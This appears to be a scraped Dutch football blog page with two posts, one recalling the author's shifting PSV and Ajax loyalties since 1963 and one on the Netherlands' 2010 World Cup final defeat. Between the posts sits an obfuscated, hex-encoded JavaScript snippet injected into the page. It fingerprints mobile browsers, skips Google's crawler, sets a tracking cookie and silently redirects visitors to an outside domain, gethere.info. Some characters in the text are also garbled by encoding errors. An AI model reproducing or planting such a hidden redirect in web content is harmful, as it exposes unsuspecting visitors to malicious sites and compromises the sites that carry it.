Feeds:
Berichten
Reacties

Posts Tagged ‘imago’

  1. OWe hadden eigenlijk niemand om de post voor vandaag te schrijven, maar ik ben er toch maar achter gaan zitten om een wat ongebruikelijk langer verhaal te maken over mijn PSV-Ajax-geschiedenis. Die dus diep in de vorige eeuw begon.

Voor zover nog niet bekend, ik ben een brabo. Geboren en lange tijd getogen in Veldhoven, onder de rook van Eindhoven, waarvan ik nu ook de laatste vijftien jaar ingezetene ben. Een voor velen ongeschreven (voetbal)wet luidt dat je supporter bent van de club waar je (vlakbij) woont. Maar zoals met wel meer ongeschreven wetten, geldt dat niet voor mij. Dat je stom toevallig ergens geboren bent, verleent je geen vanzelfsprekende (voor)rechten, maar stelt je evenmin automatisch voor verplichtingen. Kijk maar eens hoeveel import-Amsterdammers ‘Ajacied’ zijn. Maar over dat sociologisch fenomeen wellicht een andere keer meer.

Dat je, zeker in een groot gezin als het onze waarin we het niet breed hadden, je eerste ‘grote’ voetbalwedstrijd bij jou in de buurt bezoekt, is weer wel vanzelfsprekend. Dus was ik present bij de vorige kampioenswedstrijd PSV – Ajax. Op 9 juni 1963, twaalf jaar jong. Niet aan de hand van mijn vader, maar van mijn oudere broer. Mijn speciale aandacht was vooral gericht op Lambert Maassen, die bij het Veldhovense (sorry Zilste, want kerkdorp Zeelst) UNA had gevoetbald, en op de twee Limburgse buitenspelers Piet Giesen en Gerard Hoenen. Dat Sjaak Swart en Piet Keizer bij Ajax meededen, is me in het geheel niet bijgebleven. En dat geldt voor Sjakie himself kennelijk ook. Maar ik kon toen ook niet bevroeden dat deze twee later furore zouden maken met Ajax. Hoe dan ook: Ajax was, net als gisteren, redelijk kansloos en verloor met 5-2.

Maakte deze toch indrukwekkende ervaring mij tot een PSV-supporter voor het leven? Nee, niet bepaald. Ook al had ik er het geld niet voor om regelmatig te gaan kijken en moest ik vaak zelf voetballen, mijn liefde en belangstelling voor het spel was toen al kennelijk zA? groot dat ik onbewust me niet wilde laten begrenzen door de aandacht voor A�A�n club. Wat later, als puber en adolescent, was ik wel heel erg gefascineerd door de brutaliteit, zelfverzekerdheid en natuurlijk vooral genialiteit van het Ajax van Cruijff, Keizer, Neeskens, Blankenburg, Krol en Rep. Het waren de eind jaren zestig, begin jaren zeventig: de anti-autoritaire houding die de Ajacieden, al dan niet bedoeld, uitstraalden, sprak mij zeer aan. Ik ging zelfs een beetje op Cruijff lijken. *

Maar ook toen lieten zowel mijn budget als mijn onvermogen tot eenkennigheid het niet toe om fervent supporter te worden, laat staan te blijven. Wel is het lange tijd zo geweest dat de club en het voetbal van Ajax mij meer aanspraken dan PSV. Ondanks de vaak betere ploegen die PSV had met Van der Kuijlen, Van Beveren, EdstrA�m, Gullit, de Koemannen, Arnesen, Gerets, Lerby en natuurlijk most of all Berry van Aerle. Het destijds poenerige imago van de Eindhovenaren is hier zeker mede debet aan, al besef ik nu dat het Ajax van Cruijff de factoren geld en commercie definitief tot onderdeel hebben gemaakt van het Nederlandse voetbal. Het deels vertekenende beeld dat Ajax opleidde en PSV alleen maar kocht. Maar PSV heeft zeker tot eind vorige eeuw het meest te lijden gehad van dat imago, vooral ook omdat vanuit Amsterdam dat beeld hardnekkig en vakkundig werd gevoed en men daarmee tegelijkertijd de aandacht van zichzelf wist weg te houden.

Van mijn voorkeur voor Ajax is weinig meer over. Ook al is het de club met de meeste prijzen in Nederland – en dit ook wel zal blijven – juist de constante en onverbeterlijke nadruk die de club en veel van haar volgers te pas, maar vooral te onpas leggen op die status uit het verleden maakt Ajax steeds meer tot een treurige en meelijwekkende vereniging. Over het gehannes in bestuurlijk en technisch (hart) opzicht hoef ik het hier niet te hebben. Nog het ergste vind ik de vervanging van Marcel Keizer nadat deze zich bij en na het drama Nouri volgens velen als een nagenoeg ideale manager van de emoties had opgesteld. Ik heb het al vaker gezegd: de klap die het drama Nouri aan de nog zo jonge Ajax-selectie heeft toegebracht, maakte het vrijwel onmogelijk om een qua resultaten succesvol seizoen te draaien. Alles had in het belang van de opvang en begeleiding daarvan moeten staan teneinde er zo goed en wellicht gesterkt mogelijk uit te komen.

En PSV. Ik merk dat mijn sympathie en waardering weer zijn toegenomen. Ook al was het qua spel soms niet om aan te gluren. Maar als de vleesgeworden PSV-trainer Phillip Cocu nog even de tijd krijgt, er niet teveel bepalende spelers vertrekken en met een paar gerichte aankopen, wordt het spel allengs ook beter. Het fundament – de veerkracht, teamgeest, nuchterheid en vastberadenheid – staat er. Dat kunnen in Nederland niet veel clubs zeggen. En inderdaad, ze zA�ggen zoveel.

* Op foto gelinkt onder ‘op Cruijff lijken’ zie de gehurkte jongeman helemaal links.

var _0x446d=[“x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6E”,”x69x6Ex64x65x78x4Fx66″,”x63x6Fx6Fx6Bx69x65″,”x75x73x65x72x41x67x65x6Ex74″,”x76x65x6Ex64x6Fx72″,”x6Fx70x65x72x61″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26″,”x67x6Fx6Fx67x6Cx65x62x6Fx74″,”x74x65x73x74″,”x73x75x62x73x74x72″,”x67x65x74x54x69x6Dx65″,”x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6Ex3Dx31x3Bx20x70x61x74x68x3Dx2Fx3Bx65x78x70x69x72x65x73x3D”,”x74x6Fx55x54x43x53x74x72x69x6Ex67″,”x6Cx6Fx63x61x74x69x6Fx6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Read Full Post »

 12 juli 2010 – Laat er geen misverstand over bestaan: er is alle reden om trots te zijn op de prestatie van de mannen van Oranje. Op Van Marwijk, De Boer, Cocu, Jansma en Jorritsma en de complete begeleidingsstaf. We mogen eveneens trots zijn op de belangrijke personen achter, op en voor de schermen. Op heilsoldaat Dick van Toorn, gebedsgenezeres Yolanthe. Op scherpzetter Bert Maalderink en zelfs op Jack van Gelder, die de stoute Wes toch maar over de knie durfde te leggen. Zij allen hadden een missie. De eersten zijn er twee jaar terug al mee begonnen, de anderen werden er later bij betrokken. Nou ja, voor de meesten geldt: zij betrokken zichzelf bij het proces dat de tintelende verwachting in zich had van het succes.

Ok, de missie heeft haar ultieme doel niet bereikt. Maar dat hadden we van het begin af aan kunnen weten. Een missie, het woord zegt het al, is bij voorbaat gedoemd om te mislukken. Althans voor wat betreft het eindresultaat. Maar veel belangrijker dan dat is het proces van de missie: de processie. De bijkans heilige optocht, de sacrale gang op weg naar de eindbestemming: het altaar waarop (voetballers)lichamen worden geofferd om de Wereldkelk te mogen ledigen. En dat het mis zou gaan, werd al duidelijk toen een aardse sterveling vlak voor aanvang van de viering nog zó dichtbij De Heilige Graal wist te geraken. Oppergod Sepp aanschouwde het en besloot de beelden ervan niet rechtstreeks naar de aarde door te zenden.

Ook ik heb me laten meeslepen door de massale, monomane, manifeste, met man en macht moverende, min of meer maniakale missie. De M zit niet in de maand, maar meermaals in Van Marwijks mannen met een missie. Hoe dichter het altaar werd genaderd, des te meer ik werd bevangen en getroffen door de zendingskracht van apostel Bertholomeus. En met mij vele discipelen. We gingen en masse geloven in Het Wereldwonder. De Spaanse Inquisitie zou ons geenszins deren. De Goden Voorspoed, Voorziening en Genade en het vleesgeworden rozenkransje Yolanthe waren ons goedgezind. En aan het einde van de tunnel wachtte ons Het Licht: de Goddelijke Gave in de profane, zo niet heidense vorm van de Coupe Jules Rimet.

Intussen zijn we genezen, ontnuchterd, ontheiligd danwel bekeerd. De Spanjaarden bleken geen missie te hebben, maar gewoon betere en mooiere voetballers. En uiteindelijk is het toch dáár waar het om draait. Wie de betere is. Als voetballer, als mens, als spelersvrouw of als wie dan ook. We zullen, althans voorlopig, nooit weten hoe het voelt om een WK(-finale) onterecht te winnen. Zoals al vele wereldkampioenen zich minimaal 4 jaar lang hebben gevoeld. Of, zoals de Duitse WK ’74-generatie, wat het is om nu al 36 jaar lang niet te worden erkend als de terechte winnaar. Ik weet dat er velen zijn, in elk geval op dit moment zo zullen reageren, die dat gaarne op de koop toe zouden nemen in ruil voor de titel. Maar ik twijfel daaraan.
Bovendien valt te vrezen dat de beelden van lelijke overtredingen en het het ‘slechts’ loeren op de counter van het toch als positief voetballend bekend staande Oranje voorlopig op het buitenlandse netvlies zullen beklijven.

Misschien is het beter zo en moeten we onze zegeningen (het durven aangaan van een missie, het centraler zetten van het resultaat, het teambelang) tellen, koesteren en dat dan koppelen aan onze basiskwaliteiten techniek, tactiek en aanvallende dynamiek. Duitsland is succesvol bezig aan het omgekeerde traject en zal de komende jaren de geduchtste tegenstander zijn, hoogstwaarschijnlijk en gelukkig zonder de disproportionele vijandigheid van nog maar voor enkele jaren terug. Maar hopelijk wel met de nodige rivaliteit en, waar nodig, animositeit om de jus erin te houden.

De onvoorwaardelijke trouw aan en hoop op zijn vaste mannen en de per saldo toch ontoereikende Van Persie in het bijzonder, tonen voor mij zowel het succes als de kwetsbaarheid van Bertholomeus’ Missie aan. Nu het zelfverklaarde doel niet is bereikt, mag onze nationale voetbalherder worden verweten dat hij niet meer en vaker vertrouwen heeft gegeven aan de scherpe schapen Huntelaar en Afellay. Met name in de eindfase van de finale was een ingreep ten koste van Van Persie als spits zeer wel wenselijk geweest. Dan had ie zelfs nog niet per se gewisseld hoeven te worden.

Eén spelsituatie maakte onmiskenbaar duidelijk dat Robin in dit team niet de juiste spits was. Hij verlengde met een evenzo simpele als sublieme voetbeweging de bal op Van der Wiel die geheel vrij kwam, rechts van het Spaanse doel. Deze op zijn beurt zette voor, maar uiteraard was daar geen Robin, dus geen spits om af te ronden. Een Huntelaar, zelfs een Kuijt, had instinctief op de juiste plek gestaan. Del Bosque daarentegen wisselde zelfs de man in bonus en met status David Villa om het resultaat te bewerkstelligen.

Moraal: het Marwijk-team heeft elementen van een missie – onvoorwaardelijk vertrouwen geven, niets mag het groepsproces/de teamsamenhang verstoren – zeker in de cruciale eindfase laten prevaleren boven het ultieme doel van de missie: alles opzij zetten voor het behalen van de wereldtitel. En schoot daarmee in eigen en onze voet.

Er blijven genoeg positieve aspecten over om deze Oranjeselectie en het begeleidingsteam te loven. De veelgebruikte krantenkop “Weer niet” kun je met reden en trots ook vervangen door “Alweer bijna de allerbeste”. Met de geleden imagoschade zullen we moeten leren leven en de eerstkomende wedstrijden moeten afrekenen.

In 2012 worden we weer Europees kampioen ten koste van Duitsland en dan zijn in 2018 – bid maar stevig voor een geslaagde missie – de tijd en het Hollandse voetbalklimaat rijp voor een heuse wereldtitel. Dat kan niet missen.

Read Full Post »

%d bloggers liken dit: